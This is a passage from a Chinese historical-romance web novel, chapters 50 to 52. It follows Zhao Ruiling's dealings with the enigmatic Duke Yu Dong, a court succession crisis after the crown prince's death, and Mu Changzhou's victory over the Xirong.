他立刻写了封信,用火漆封了口,将甄顺叫进来。 “走私道,让人以最快的速度,将信送到河南道观察使府里,注意别叫人发现。” 袁二郎跟顾志泽打交道没那么引人注意,他也定有办法将消息传到袁修永那里。 甄顺出去后,穆长舟略思忖片刻,微微蹙起眉。 如今圣都有袁修永引蛇出洞,圣都外有顾志泽盯着杨氏动向,西北零星几个杨氏一派的官员有他暗中提防……只剩西南的虎头军仍是个变数。 虞栋……实在不是个能以常理度之的人,很难说他对谢氏到底有没有恨意。 更让穆长舟担心的是,虞栋对赵瑞灵的感官。 即便虞栋一直都表现得对赵瑞灵很是照顾,他却从来没跟赵瑞灵有过任何沟通。 穆长舟手下不停,又紧着写信回圣都。 他可不是想在圣都闹得风生水起的小没良心,只是有些关于虞栋过往的事儿,他忘了跟这小没良心的说。 这厢还在写信的穆长舟却不知,在他到达西北都护府前两日,安南侯已经带着北狄最大一支部落王的首级抵达了圣都。 如今圣都都没人讨论英国公府的金玉符节了,几乎所有人都在讨论安南侯又立下旷世战功,都猜他说不定要封国公了。 圣人也对虎头军所为大为高兴,下令让太常寺和鸿胪寺张罗,要在含元殿为安南侯庆功,并要对虎头军立功的将士们论功行赏。 圣人还下旨,要求京中所有王公大臣及家眷们,有资格入宫的人都要与宴,为虎头军并安南侯军功同庆。 身在醇国公府的赵瑞灵,自然也接到了宫中传下来的旨意。 她对安南侯也一直很好奇,只是跟乔媪几番打探,乔媪都没多提及安南侯的往事。 本来她还在苦恼要给穆长舟写的信说什么,想得人都蔫了。 这会儿笔一扔,她整个人都好像重新活过来,眼神亮晶晶地央着乔媪。 “明日进宫,安南侯是主角儿,其他人肯定会因为他和我阿娘的关系,把目光都放在我身上。” “若是我对安南侯一点都不了解,万一闹了笑话,不但丢阿娘的脸面,说不定也会影响醇国公府呢。” 乔媪迟疑了片刻,还是有些为难:“不是奴不愿意说,只是奴实在不知道该怎么说。” 安南侯这个人…… 她绞尽脑汁,只想出了四个字来形容:“表里不一……你永远没办法根据你看到的安南侯来判断他的喜怒,也没有办法根据常理来推断他的行为。” 当年,除了苑娘,几乎没人愿意跟这个从小在狼堆里长大的狼崽子打交道。 也只有谢如霜能分辨得出虞栋的喜怒和所作所为的缘由,其他人哪怕是太后都无能为力。 乔媪跟太后还有秦媪都曾很多次讨论过虞栋其人,却怎么都没办法理解,他怎么就能得了圣人的信任,成了虎头军的大将军。 赵瑞灵摸着下巴兴致勃勃地猜:“所以说,他极有可能因为我阿娘的坠崖性情大变,仇视会让阿娘来保护姨母的谢氏,从而为圣人所用?” 乔媪还真不敢说,她其实也不清楚。 但当年虞栋对苑娘的言听计从,还有娘子坠崖后他发疯的样子,乔媪都历历在目。 她只轻声道:“娘子还是自个儿去看看,等你见到安南侯,你就明白了。” 第50章 第50章张嘴就是石破天惊的秘密…… 赵瑞灵带着三分忐忑……和十分吃瓜的兴奋,在宫宴这一日,早早到了仪秋宫给太后请安。 这八卦就得跟周围的人都有共同话题,才能得到最新鲜的瓜吃。 她在太后面前充分表达了对安南侯的好奇,以及因为自己的身世害怕安南侯心里不舒坦,想要伺候在太后身侧,一起去含元殿。 她主要是孝顺这位不怎么常见的姨母……当然,站得高看得远,能在最安全的范围内,打量清楚安南侯也是一部分原因。 但太后却只笑着骂她滑头,“哀家可不想一晚上都让虞栋盯着看,怪瘆人的。” 赵瑞灵:“……”所以这锅就归她了是吗? 在袁翁印象里,虞栋没什么存在感,在穆长舟眼中,虞栋心思颇深,但在太后和乔媪这些女子眼中,安南侯却仿佛……鬼神莫测? 更别提她还从乔媪口中得知了鹿骊公主针对她的缘由,连公主都惦记的人,是怎么在圣都没什么存在感的呢? 赵瑞灵怀揣着满腹好奇,踏入了含元殿。 果然不出所料,她一进门,众人的目光就或明或暗地落到了她身上。 上次她如此万众瞩目,还是年前呢。 赵瑞灵径自端着国公夫人的架势,面无表情带着阿桥走到上首,坐在了鹿骊公主的对面。 论位置来说,她如今已经比长乐郡主高一阶了,见状长乐郡主脸色黑得特别好看。 鹿骊公主却不以为意,只不屑地看了眼赵瑞灵,眼神就一直往殿门外飘,丝毫不顾驸马冯稷的面子。 知道些内情的王公大臣和女眷们,可实在是太欢乐了,一边儿打量着赵瑞灵这个肖母的闺女该怎么面对她阿娘的未婚夫,一边儿欣赏着鹿骊公主毫不掩饰的春青涌动,这宫宴着实比过年时还热闹。 飞虎军的几位三品以上的武将已经到了,但太后和渭王,圣人以及张皇后和太子都还没到,安南侯自然也不可能在这几位后头出场。 没过多会儿,就听得外头内侍扬声喊—— “安南侯 到!” 众人立刻不动声色压着激动的神色起身,迎接这位将北狄人彻底打得不敢再冒头的功臣。 赵瑞灵刚刚站起身,还未及抬头,余光就看到一个高大瘦削的身影虎步生威朝她这边过来。 殿外掀起的风轻轻扑在她脸上,引得她心下微微一惊,赶忙抬起头去看安南侯。 一抬头,她就被安南侯那张格外犀利又煞气十足的脸吓了一跳。 他其实长得并不算冷厉,甚至面容线条还算柔和,可那双桃花眼却硬是像极了孤立云端的雪山,冰冷得丝毫没有情绪, 一双格外英气的眉似两把幽幽冷焰,将桃花眼都带出了十分煞,再加上他梳理得并不算齐整的张扬发髻,如利兵出鞘一样的气场,彰显得他整个人都带上了十二万分的凶狠。 像……即将扑出来狩猎的狼! 他就这样凶狠地大跨步来到了赵瑞灵面前,要不是背后还有阿桥支撑着,她高低要后退一步才敢呼吸。 她迟疑着跟安南侯见礼,但她还没想到要说什么,安南侯就突然开了口。 “你不如你阿娘,陈尽然他们跟着你白瞎了!” 他声如其人,声音冷冽又低沉,听起来倒不像是四十多岁,更像是穆长舟的同龄人,都多余长一张嘴。 赵瑞灵好歹记得自己的身份,努力端着自己的架子,冲他微笑。 “那真是可惜,我阿娘和陈尽然他们都不这么想。” 虞栋轻呵了声,脸色却更臭,沉着脸转身,丝毫没看冲他笑得灿烂的鹿骊公主,兀自坐在了自己的座位上。 众人的表情愈发微妙,甚至都顾不得嘲笑鹿骊公主媚眼抛给瞎子看,只兴致勃勃盯着赵瑞灵,等着她出丑。 因为安南侯坐下后,确如太后所料,依然死死盯着赵瑞灵,只是脸色越来越臭,甚至隐隐有些发黑。 阿桥只蹭了点余光,都有些脸色发白,两股战战,实在想不明白,安南侯明明给娘子撑过腰的,怎么是这么个性子啊,太吓人了! 但赵瑞灵感觉却比看热闹的那些更为微妙,甚至并没有因为对方略显暴戾的目光感到害怕。 她对人的情绪其实很敏感,旁人觉得安南侯看不上她,可她却觉得……他在遗憾,因为遗憾所以格外烦躁,越来越烦躁。 所以,他到底在遗憾什么啊? 她不打算叫人看热闹,抓心挠肺地绷着小脸儿坐了回去,兀自抓着茶杯挡住虞栋部分目光。 好在太后和圣人很快就携着渭王,并张皇后还有太子进了殿,众人也顾不上看热闹了,赶忙起身行礼。 圣人含笑叫了起,冲虞栋调侃:“你心心念念回京要见灵娘,如今总算是见到了,可算是安心了吧?” 虞栋起身,利落下跪,说话更干脆:“回圣人,她不是苑娘,臣很失望。” 众人:“……”嘶,安南侯果然还是那么敢说啊! 这话把圣人都给说不会了,他略有些无奈地看了眼表情尴尬的赵瑞灵,笑着摇了摇头。 “行了,知道的是你不会说话,不知道的还以为你嫌弃苑娘的骨血呢。” 虞栋想说话,太后冷着脸打断了他的话:“既是要论功行赏,不如就先说正事,在场的王公大臣们,可都等着为安南侯庆贺呢。” 圣人从善如流点点头,温和看了赵瑞灵一眼以作安抚,当即叫自己的内侍宣旨。 如众人先前议论的那般,安南侯官位已经是骠骑大将军,封无可封,圣人便特赐他为安国公,享双奉,可过继嗣子世袭罔替。 这就是允许安南侯为自己安排世子的意思了,这就算在国公府也是不轻的恩赐,连醇国公府的大郎都还没能得封世子呢。 鲁国公和镇国公脸色都不大好看,他们府上也没能立世子呢,倒是让后来者居上了。 英国公的脸色也不好看,一来是为了先前金玉符节一事,二则是虞栋一直以来只跟谢景阳个人略有些交情,跟英国公府关系并不好。 虞栋身份越高,英国公的地位就会越尴尬,更不用说他所带领的虎头军,许多将士都因此而被加官进爵。 其中有不少甚至是谢氏的旧部,如今却唯虞栋马首是瞻,这更让谢正阳难受。 来与宴的众人倒是一次性把热闹看了个够,鹿骊公主的热闹倒是没人敢明目张胆地讨论,但是整个谢氏,包括已经成为醇国公夫人的赵瑞灵,却都被众人嘀嘀咕咕笑话了个够。 醇国公夫人大概还打着要仪仗拉拢安南……安国公的想法,却没料想安国公根本就不给谢氏面子,对她跟对谢氏其他人一样不客气。 说不定安国公过不了多久,就会把自己送给赵瑞灵的部曲给收回去了呢,到时候怕是连醇国公府都会成为笑话咯。 赵瑞灵也想到了这一茬,她沉着小脸儿,带着气呼呼的阿桥回到了府里。 乔媪迎上来,一看她俩这模样就知道是怎么回事了。 “郡主见到安南侯了?” 阿桥轻哼:“可别叫安南侯了,人家现在是国公爷了,而且人家根本看不上咱们娘子,指不定出现在咱们嘴里,人家都觉得是侮辱!” 乔媪无奈道:“虞栋他不通人情世故,有时候看事情不能看表面……” 阿桥更气了:“不通人情世故也不能当着那么多人嘲讽娘子啊,他就差指着娘子的鼻子骂她是个西……” 她顿了下,瞧了眼若有所思的赵瑞灵,没敢把话说下去,怕娘子听了伤心。 但赵瑞灵还真没伤心,她只问乔媪:“过去他在我阿娘面前也那么不会说话吗?” 她总觉得虞栋说话很真切,即便口出恶言,却又带着股子迫不及待,不像是故意要惹怒人……总之这人也太难看懂了。 乔媪欲言又止,好一会儿才开口:“一开始的时候——” “咚!”“咚!”她还没说完,门外突然响起两声重响,像是人摔到地上的声音,唬得阿桥和乔媪都愣了下,下意识护在赵瑞灵身边,紧张地看向大门。 阿桥:“谁,谁在门外?” “现在没人。”窗户突然被推开,虞栋理直气壮地跳进屋里,很平静回答阿桥。 赵瑞灵:“……” 阿桥:“……” 俩人都不自觉看向乔媪,乔媪怎么没说过,这人跟穆长舟/姑爷一个臭德行呢。 咋,是门槛烫脚吗? 乔媪皱着眉瞪虞栋:“你深更半夜,私探醇国公府,这是苑娘教你的规矩吗?” 虞栋冲她点点头:“是,苑娘跟我说,事急从权,我来这儿不能被人知道。” 乔媪:“……你到底干嘛来了?” 虞栋绕过她,看向赵瑞灵,非常认真看着她,“你看,外头陈尽然让我一下子就敲晕了,他真是白瞎了跟着你,你比你阿娘弱太多了,得我这样的跟着你才行。” 赵瑞灵:“……”她好像突然明白这人在含元殿上遗憾什么了。 她努力扯出一抹微笑,客气道:“灵娘只是个普普通通的国公夫人罢了,实在用不起安国公这样位高权重的人,所以还是将就着用陈尽然吧。” 虞栋皱眉:“谁说你普通了,苑娘的血脉不可能普通,不过我现在确实不能给你做部曲,没关系,我养了些狼,回头我给你送过来。” 赵瑞灵倒吸口凉气,笑容变得艰难:“真,真不用!” 她在圣都也没那么危险啊!!! 虞栋却不再说这个,他有自己的判断。 他只看向乔媪:“你带着这丫头出去,我要单独跟灵娘说话。” “啊?这不合适吧?深更半夜,孤男寡……”阿桥的话,渐渐消失在虞栋跟狼一样幽深的注视下。 虞栋倒也不打算为难赵瑞灵的女婢,他冷静建议:“那要不我把你们打晕?” 阿桥立马拉着乔媪往外走:“那什么,有客来访,总得烧点茶水,乔媪我忘了茶叶放在哪儿了,你陪我去一趟,娘子我们很快就回来啊!” 快速说完这句话,她人已经跟乔媪去了门外,还非常体贴地关上了门。 赵瑞灵:“……”想揍人她都说累了。 她暂时顾不上收拾阿桥,只小心翼翼起身想后退点,对于这种不受控制,甚至猜不出应对方法的人,她不是怂啊,她只是谨慎…… “啊!你干嘛!”赵瑞灵被吓得捂着嘴惊呼出声。 无他,虞栋噗通一声跪在了她面前,还调整姿势跪坐好了,一副要长谈的模样。 他言简意赅:“你怕我,这样我不吓人。” 狼想让人放松的时候,也会选择趴卧,一个道理。 赵瑞灵简直不知道是该站着,还是该对着跪下去,让一个国公,尤其还是跟阿娘有旧的长辈跪在她面前,实在是叫人太心惊了。 无奈,她只能搬了个软垫,盘腿坐在虞栋一侧。 “您到底想跟我说什么?” 虞栋从来不废话,张嘴就是石破天惊的秘密。 “苑娘走之前跟我说过,她要我保住谢氏血脉,无论用任何方法。” “我投靠了先圣,成了圣人的狗,因为我只有一个要求,如果我能在不损殷氏声名的情况下让谢氏灭族,苑娘的衣冠冢要葬入虞氏。” “但你出现了,圣人怀疑我的忠心,我换了誓言,我要让苑娘移坟另嫁,你改姓虞。” 赵瑞灵直接听傻了,好一会儿才呆呆抬起头看向虞栋。 “不是,你不是答应阿娘要保住谢氏血脉?为何要让谢氏灭族?” 虞栋理所当然道:“我帮谢景阳成了郡马,谢氏灭族,谢景阳可以入赘,谢闵能保住,谢氏血脉就能保住。” 赵瑞灵更迷茫了:“我三舅舅……愿意?” “只有太后会被幽禁,渭王被废。”虞栋非常冷静。 “谢正阳投靠圣人,他那一脉大概率能被贬谪,寿终正寝。” “谢承阳娶了杨矛延的女儿,杨氏也是圣人的狗,隐姓埋名不成问题。” “明面上灭族,是为了让谢氏再无起复机会,你三舅只要不傻就会同意。” 不待赵瑞灵继续问,虞栋又道:“我以为你会关心我要移坟的问题。” “如果苑娘是你,她会让我将两口子的坟一起移过来,让我以你义父的名义跟他们葬在一起。” 赵瑞灵想也不想就道:“不可能!那我阿耶能从地底下气活过来,这也太不孝了!我阿娘不可能这么做。” 虞栋认真反驳:“不,她会,而且她说过,我是她最亲近的人。” 赵瑞灵:“……”她突然有点无法直视外祖父和阿娘之间真正的父女情是怎么样的了。 她只摇头,坚持:“我阿娘不能移坟,我也不会改姓。” 顿了下,她又道:“我也不认可你这法子,人为刀俎我为鱼肉时,谁也不知道会发生什么,我不会将阿娘的期盼放在殷氏的善心上。” 虞栋有些失望地沉下脸来,但语气依然很平静。 “我知道,那你取字小鱼可好?我做你叔父,将来你把我葬在苑娘和你阿耶不远处就行。” “我会以最快的速度,帮你实现你的愿望,让渭王登基。” 这个要求不算过分,赵瑞灵听得唇角抽了抽。 她迟疑问:“你不是已经对圣人立誓了?若你违背誓言……传出去你怎么办?” 作为以忠心为立身之本的武将,连穆长舟都受困于对殷氏的誓言。 否则一旦不忠之名传出,就会成为不义之师,天下人皆可讨伐,虞栋会失去很多追随者。 虞栋一脸莫名其妙看赵瑞灵:“我先对苑娘立的誓,我从小就听她的。” “她不在了,我本来就该听小鱼你的,其他人那里说说就算了,谁信谁傻呗。” 赵瑞灵:“……为什么是小鱼?”哪怕叫虞儿也行啊。 虞栋自觉该说的都说完了,倏然站起身来往外走。 走到门口他才顿住脚步,人没回头,只是身影第一次佝偻了片刻,又慢慢直起来。 “苑娘……最喜欢吃鱼,我喜欢钓鱼,每次我钓到鱼,她都会夸我。” 等到虞栋离开后,乔媪和阿桥急匆匆进来伺候,见赵瑞灵沉默不语,都有些担忧,却怎么都问不出到底发生了什么。 赵瑞灵主要也不是为了保密,她只是不知道该怎么说,她阿娘其实还挺讨厌吃鱼的。 有一回阿耶想去钓鱼,阿娘直接把他的鱼竿给烧了,还嘀咕着说看见鱼竿就心慌……也不知道是吃伤了,还是虞栋理解错了。 她有些不能理解阿娘和虞栋之间的感情,与其说两个人是爱情,实际上听起来却更像亲情。 虞栋甚至都没表达出对他阿耶有任何嫉妒。 当然,这些事情她也没办法跟别人吐槽,就都写在了给穆长舟的信里,洋洋洒洒也凑了厚厚一叠。 穆长舟一开始收到信还挺高兴的,结果打开绢帛后发现,字里行间,全是赵瑞灵对虞栋的各种吐槽,几乎一个字都没提及他。 哦,也提了,最后一句—— 「盼君安,你儿子被虞栋提走了,说要让他挑个小伙伴做安国公世子,你说安国公脑子正常吗?」 穆长舟冷呵了声,这问题的答案他还真知道,毕竟他在谢如霜身边的时候,虞栋也在。 论起对谢如霜和虞栋的了解,大概连太后和谢氏都无法与穆长舟比拟。 但他却不愿意直接跟赵瑞灵说,谁叫这小没良心的通篇都是说其他男人呢。 他微微挑起眉,拾起笔墨快速给赵瑞灵回了一封信,递给甄顺。 “八百里加急,送到夫人手上。” 既然她愿意写,不如就多写点,直到她记得在信里多提提自家夫君为止。 50-60 第51章 第51章这狗东西是在威胁她吧?…… 赵瑞灵收到穆长舟的来信时,已到了牡丹盛开的时节。 各色牡丹与初夏盛开的花朵锦绣盛开在花园里,引得人心情都跟着姹紫嫣红起来。 在等穆长舟回信的这段时日,赵瑞灵明面上跟安国公并没有什么来往。 唯一的交际是在皇后生辰那日。 安国公旧事重提,想让赵瑞灵将陈尽然他们这些部曲交给他。 当时王公大臣们并他们家的那些女眷脸上就忍不住露出了果然如此的兴奋劲儿。 不出他们所料,安国公瞧不上瑞灵郡主,欲收回自己馈赠的这巴掌,到底还是来了。 但赵瑞灵已大概弄清楚虞栋说话行事是个什么风格。 他不会说谎,这也是先圣和圣人信重他的最重要的缘由。 即便已不惑之年,因自小在野兽群里长大的缘故,他的心性依然像猛兽一样直白。 但不说谎却不代表话说全了。 先前虞栋说‘臣很失望’,是失望赵瑞灵不愿换掉陈尽然。 这回他要赵瑞灵交人,大概是想将狼部曲给她送到府里。 她十分感激,并且十二万分的拒绝。 圣都的危险真的不至于用一群狼来守护,她不想听到谁被吃 了的消息。 虞栋当时又沉下了脸,什么都没说就怏怏走了。 大概是觉得赵瑞灵不识好歹吧,他最近都没传过任何消息来。 正在赵瑞灵想叫人去打听打听的时候,穆长舟的信来了。 「为夫深知娘子最善察言观色,一如娘子清楚我日思夜盼你来家书,虽娘子字字句句皆为他人,然我对娘子思念不减分毫,唯愿替娘子分忧,将来我归家之时,烦请娘子为我分忧……」 赵瑞灵心里猛地打了个激灵,这狗东西是在威胁她吧? 她不就少说了几句腻歪的话嘛……好吧,是没说。 可他在边关守卫家国,哪儿有时间儿女情长? 她,她这也是为人娘子的懂事嘛! 她颇为心虚地翻看下一页。 穆长舟倒是没将先前想告诉赵瑞灵的那些虞栋往事告诉她,却是换了个说法。 「娘子与其好奇虞栋其人一言一行,不如好好回忆一下才绝娘子往事,若娘子有所感悟,惟盼吾妻分享之。」 赵瑞灵愣了下,她阿娘吗? “乔媪,我听人说安国公有心思多狡的骂名,你知道是怎么回事吗?” 乔媪回忆:“虎头军当初在淳阳王一脉的手中,虞栋想接管虎头军,受到了很大的阻力,甚至连圣人也怕养虎为患,闹得沸沸扬扬。” “虞栋当堂跟文武百官对峙,引得所有人哑口无言,圣人也对他彻底放心了。” 虞栋在太极殿的话,如今还被那些喜好钻营的大臣们奉为圭臬。 他也没说别的,只表达了两层意思。 一来天下所有将士都是属于圣人的,他会永远替圣人代掌王师,二来虞氏所有功劳都属于圣人,谁阻拦他就是质疑圣人旨意。 “他就一个个问过去,那些大臣们还能说他们就是质疑圣人,他们想要瓜分属于圣人的兵权?”乔媪笑着感叹。 “这保管是苑娘教他的。” “这天底下也就他是个孤家寡人,其他人都是一大家子,总有自己的私心,就这一点来说,他该当为大将军。” 赵瑞灵心情有些微妙,其实阿娘对阿耶也是这样的。 她永远会不吝啬夸赞,家里所有的一切都是阿耶博来的,她会替阿爷好好守护她们的家,她的所作所为也都是为了阿耶好……直把阿耶一个能上山打虎的壮汉夸得言听计从。 阿娘能干的同时又特别低调,哪怕是阿耶的那些亲眷对阿娘也不是很了解,也就她婆婆对阿娘稍微熟悉一点。 安国公也是,除了在做正经事的时候,他从来不会显露在人前,总是叫人下意识忘了他还在圣都。 她心里微微有些难过。 所以不是阿娘教了安国公,而是在阿娘离开后,虞栋把自己活成了她阿娘的样子。 她很难想象阿娘和虞栋当初感情如何。 阿娘和阿耶的感情也很深,若非如此,阿娘也不会在阿耶离世后那么快跟着阿耶去了。 越回忆阿娘和阿耶过去的深情,她就愈发觉得安国公惹人怜惜,不由得想对他好一些、 就像对她阿耶一样,认个义父也无不可。 这样好歹阿娘是阿耶的,安国公还能得到半个女儿。 “郡主!郡主!大事不好了!”陈尽然惊惶失措地从外院冲进了正院,打断了赵瑞灵的思绪。 一向沉默寡言的陈尽然,脸上第一次露出了慎重和惊慌。 赵瑞灵被吓了一跳,赶忙问:“怎么了?” 陈尽然跪地,“回郡主的话,太子今日陪皇后娘娘去皇家寺庙上香,在庙里的后山遇到了狼群,太子受惊晕厥。” 赵瑞灵猛地站起身,心揪成了一团。 旁人不知,她可清楚地记得安国公跟她说过的话。 他要帮渭王继位,还说过要给她狼部曲,这件事不会是安国公做的吧? 好家伙,她这位未来义父,根本不需要她的可怜,这是个狠人中的狠人啊! 但陈尽然接着又道:“安国公负责护卫皇后和太子,因为熟知狼性,杀了狼王,被狼群报复,重伤……重伤下半身,为狼爪毁容。” 赵瑞灵有些喘不过气来,立刻就想往外冲,狼群这么狠,定不是安国公安排的,她得去看看他。 “郡主!”赵安素第一次露出了在西南受训时的冷漠,拦在赵瑞灵面前。 “您不能去。” 赵瑞灵皱眉:“你闪开!无论如何,你们都是安国公送我的,他重伤在身,我理应过去探望。” 就算再旁人眼中,安国公瞧不上她,她尽一尽礼节上的关怀,总是可以的吧? 赵安素冷静道:“太子昏厥,宫中一定不会太平,圣都很快就会戒严。” “此事还未有定论,如果安国公还醒着,一定会阻止您去探望。” “您现在应该做的,就是静候外头的消息,安国公已经伤了,您不该浪费机会。” 阿桥不可置信地看着赵安素:“机会?你是要娘子拿安国公的伤做文章?” 无论如何,安国公都是护着娘子的。 虽然但是,可娘子都说了,安国公私下里站在她这边,她们怎么能如此冷血? 赵瑞灵眼眶泛红,却如赵安素所言,冷静下来。 她用通红的眸子定定看着赵安素。 “你告诉我,这件事到底是不是……他?” 赵安素跪地:“奴不知,但奴所认识的那位,能做得出这样的事。” “即便伤了,毁容,只要活着,对他而言没有影响。” 毕竟安南侯是个孤家寡人,从未考虑过娶妻。 他容貌有损,无法谋朝篡位,于皇家而言,更值得信任。 赵瑞灵闭了闭眼,显然也明白这个道理,她努力压下对安国公的担忧,又看陈尽然。 “宫里有消息吗?” “回郡主,太子刚被送回宫中,暂时还没消息。”陈尽然脸色微微发白,却也在赵安素的提醒下,迅速冷静下来。 “如果圣人安好……属下以为宫中不会有大动静,若圣人病倒,圣都要乱了。” 圣人还在,即便太子有任何不好,小皇子还有机会。 太后会趁机替渭王拉拢朝臣,双方仍旧会将争斗掩藏在激流之下,免得朝廷动荡。 但若圣人因此也出现任何问题,小皇子还在襁褓之中,宫闱瞬间就会被太后掌控。 圣人和张皇后一脉会尽全力反抗,太后也会全力镇压,不日那张龙椅上就会出现新君。 至于圣人能不能稳得住……赵瑞灵心底一阵阵发沉。 如果安国公能对自己下这么大的狠手,都已经让太子出事了,他会放过圣人吗? 与她料想的一样,圣人从太医署得知太子因为受惊,引发了羊角风,已经处在弥留之际,最多熬不过十二个时辰,当时就吐了一口血软了下去,怎么都喘不过气来。 张皇后吓得差点把小皇子给扔出去。 甘露殿一阵兵荒马乱,太医署的太医们才险险将圣人从生死边缘拉了回来。 两位太医令非常纳罕。 圣人的喘疾他们已经控制住了,圣人的身子骨在安国公从西南送来的上好药材补养下,已经见好,虽说太子之事太过令人震惊,可病情也不该如此来势汹汹。 两位太医令严令与两位太医丞,并八位老太医为圣人诊治,最终得出结论,问题出在了张皇后曾与圣人用过的合欢香上。 这香里添加了一味能催动人潜力的药材,虽当时看不出来,却会逐渐掏空人的身子。 无事的时候有补药填补着亏空看不出来,一旦出问题就是摧枯拉朽之势。 张皇后又痛哭了一场,在太极殿里哭闹不止,严令太医署必须将圣人和太子救回来。 太后自然不会干看着,太子出事的消息传到仪秋宫的时候,她就已经让谢闵和秦进控制羽林卫,掌管了宫闱。 等到安排好这一切,太后才到太极殿,制止了张皇后无能狂怒的撒泼,让人将她禁足,并且下旨追责当初给张皇后送合欢香进宫的鲁国公府一干人等。 虞栋从重伤中醒过来,他的贴身护卫立马上前低声禀报。 “一如大将军所料,太子明日就会没命,鲁国公府上的采买暴毙家中。” 虞栋脸色苍白,衬得他右脸上的纱布渗出来的血,比外头的红牡丹还要鲜艳。 他看也没看自己同样包裹得严严实实的下半身,只转头看向门外。 “抬我进宫,我要向圣人请罪。” 虽然他让人在合欢香上动过手脚,却只是希望掣肘圣人。 他本是为了将来谢氏失势以后, 圣人想赶尽杀绝时,再引这祸端发作,保护谢氏离开圣都。 这会儿用上,圣人的身体应该还能撑一段时间。 但他不愿意等了。 他已经等了近二十年,他只想将他为苑娘留下的一切,尽快送到小鱼手上。 如此他才能安心去湖州府陪苑娘……顺便和她夫君套套交情,看看将来能不能离俩人近一点。 不过,被抬出府之前,他又扭头看了眼醇国公府的方向,撇了撇嘴。 “叫人给那小崽子写信,让他赶紧收拾了西戎人,赶紧回来护着小鱼!” 再耽误下去,那总跟他抢苑娘注意力的臭小子,连屎都吃不上热乎的,也太耽误他行程了! 巧的是,穆长舟也是如此想的。 他很清楚虞栋对谢如霜的在意,甚至在意到不喜欢任何人跟自己抢占谢如霜的时间。 他娘子跟他丈母娘长得那么像。 谁知道他再耽搁些时候,将来他娘子到底是穆氏妇还是虞家女? 穆长舟恶狠狠地一刀削掉了敌人大将的首级,虞栋想也别想! 第52章 第52章要亲眼看到那小兔子安然…… := 穆长舟将西戎人杀回草原深处时,草原已变成了满地金黄。 战场从大昭边境一路推进到草原深处,为这黄金草场染上了格外肆意的血色。 这份肆意是对狼覃军而言,对西戎王庭来说,就如同日暮下的血色黄昏,惊慌和争吵在他们的帐篷内连日不断。 在穆长舟杀到西戎王庭之前,西戎王派人递交了求和书。 与求和书送来的还有大批的牛羊,西戎王生怕穆长舟这个暴脾气一言不合就杀进王庭。 但穆长舟其实没时间再跟他们耽搁下去了,圣都的情形已经被甄保派人送到了西北。 太子薨逝,圣人病倒,张皇后被禁足太极殿伺候圣人。 虽渭王还不能光明正大地登基,但太后却已经实现了自己临朝称制的霸想。 圣人却不会眼睁睁看着太后就此登顶。 以淳阳王为首的殷氏子,还有以鲁国公为首的勋贵们依然在朝堂上与太后分庭抗礼。 这些时日,穆长舟从甄保传递过来的消息就能看出,圣都乱了。 连赵瑞灵送来的家书,字里行间也都是对圣都局势的忐忑和担忧,看得穆长舟格外揪心。 这还并非最大的乱象。 杨矛延等早就被圣人收买的那些人,如今还在朝堂上呢。 穆长舟只想立马归京,收到西戎王送来的求和书后,他压下了狼覃军想要一举歼灭西戎的战意。 将西戎人打怕不难,可是这些草原上长起来的狼群,要想将之灭族,至少也得做好伤筋动骨的打算。 可储位之争如今是最关键的时候,穆长舟不愿狼覃军在此时战力受损。 狼覃军的将领们急了:“都护,眼下是打他们最好的时机,难道就这样放过他们,将来眼睁睁看着他们缓过来,再继续侵扰我边关百姓?” 穆长舟挑眉:“谁说我要这样放过他们?” 他让人带着大昭和狼覃军的议和条件送去了西戎王庭。 西戎王一看议和条件,人就气吐血了,要继续跟大昭拼命。 无他,议和条件就两条——西戎归属大昭,奉上五千匹战马作为岁贡,并且让西戎王进入大昭圣都为质。 西戎跟大昭打仗打的,好战马本来就不多了。 西戎王断然拒绝:“若是我入圣都为质,将来我们还如何在草原上立足?我们早晚要被外敌所灭,穆长舟要拼命,我们就跟他拼!” 但他的提议,没有得到部落所有王公们的支持。 因为西戎王老了,而他的三个儿子正年轻力壮,能更好地带领西戎人蛰伏,将来才能继续侵扰大昭。 大王子率先开口:“如果父汗能够入圣都为质,这对大昭来说也是一种麻痹,只待我们缓过这口气来,将来我们一定杀入大昭国都,救你回来!” 西戎王鼻子都要气歪了,就算能被救回来,到时候西戎已经有了新王,他回来还有什么用。 更别提,如今大昭有穆长舟这样的将领,他才二十多岁,只要他不死,西戎想要占领大昭,无异于痴人说梦。 这群狼心狗肺的兔崽子,是要献祭他这个父汗,好自己上位。 西戎王庭内很快就爆发了剧烈的争吵,甚至动了刀。 具体情形穆长舟不清楚,他只顾着处理西北这边积攒的军务,争取早日回京。 当然,他已经提前派了西戎王庭那边的探子在对方那里拱火,保证他们消停不下来就是了。 狼覃军原本还心有不甘的将领们,就眼睁睁看着西戎王庭陷入内乱,没几天工夫,死的人竟然不比在战场上少多少,彻底对穆长舟服气了。 更别提,十日后,西戎王庭将断了腿的西戎王并五千匹战马,好好送到了西北边境。 穆长舟带着西戎王入京的时候,狼覃军所有将领一起来送,当着百姓们的面,全都跪地相送。 “大将军放心,我们一定为大将军守好狼覃军!” “大将军一路平安!我们等你回来!” 甄顺看着早先还不怎么服气自家郎君,总爱都护都护叫个不停,不爱叫大将军的几个刺头将领,偷偷笑了半路。 “所以您娶主母回来,还是非常有先见之明的嘛!”甄顺在马车里跟穆长舟嘀咕。 “谁说她命硬,她这分明是旺夫啊!” 穆长舟斜眼睨他,谁说的,不就是眼前这个想挨踹的棒槌吗? 甄顺缩了缩脖子,嘿嘿笑,赶忙往马车外钻。 “我去叫人快一些,让您早日见到主母!” “回来!”穆长舟看完了探子送来的消息后,确认西戎没闹幺蛾子,叫住甄顺。 “你带着护卫和五百将士,护送西戎王进京,给我备马,我先行一步回京。” 他等不及了,虞栋的性子在旁人看起来很怪,但穆长舟很了解他,他虽有野兽的直白,却连野兽的狡诈和凶狠也一并继承,不是个有耐性的。 一旦圣人不好,就圣人那阴损性子,指不定会让太后和虞栋摔个跟头,他得早些归京。 他不在意这俩人,但谁让他娘子跟这俩人都关系匪浅呢。 甄顺立刻去安排,半夜时分,穆长舟带着十个护卫跟大部队分开,快马加鞭往京城赶。 实际上他预料的没错,别看圣人从小就病歪歪的,先圣能放心将皇位交给他,而不是交给淳阳王,就看得出圣人的心计颇得先圣喜欢。 他得知自己时日无多,在虞栋去请罪的时候,并没有过多怪罪虞栋。 “朕知道你已经尽力了,是太子没有那个命,朕眼看着也要不行了,但朕已经叫人将苑娘的坟从湖州府迁出来了。” 虞栋差点没忍住自己的杀意,只死咬着牙低头藏起煞气,安静听着。 圣人也不在意他浑身紧绷之下又开始流血的伤口,不管此事与虞栋有没有关系,保护不好储君,这样的狗就该死! 